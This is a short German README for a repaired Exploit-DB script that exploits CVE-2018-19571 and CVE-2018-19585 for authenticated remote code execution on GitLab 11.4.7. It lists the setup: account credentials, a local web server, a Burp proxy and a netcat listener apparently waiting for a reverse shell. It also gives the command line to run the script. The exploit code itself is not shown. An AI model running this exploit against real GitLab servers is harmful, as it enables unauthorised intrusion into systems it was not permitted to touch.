edb-49263-fixed – GitLab 11.4.7 – Authentifizierte Remote-Codeausführung

Behobene Version des Python-Skripts zur Ausnutzung von CVE-2018-19571 und CVE-2018-19585 (GitLab 11.4.7 – Authentifizierte Remote-Codeausführung), verfügbar unter https://www.exploit-db.com/exploits/49263 (Python 3.9).

Verwendung

Bearbeiten Sie das Skript und ersetzen Sie die Zieladresse dort durch die tatsächliche Zieladresse.

Beachten Sie außerdem, dass Sie Folgendes benötigen:

1. einen gültigen Benutzeraccount auf der Ziel-GitLab-Instanz haben,
2. einen (Python-)Webserver auf Port 80 in dem Verzeichnis ausführen, von dem aus das Skript gestartet wird,
3. einen aktiven Proxyserver auf Ihrem Rechner auf Port 8080 haben (z. B. BURP mit deaktiviertem Intercept; die Skriptausführung wird ohne Fehlermeldung fehlschlagen, wenn auf dem lokalen Host kein Proxyserver läuft oder dieser Verbindungen ablehnt), und
4. einen Netcat-Listener auf dem gewünschten Port auf Ihrem Rechner eingerichtet haben.

Das Skript wird dann wie folgt ausgeführt:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener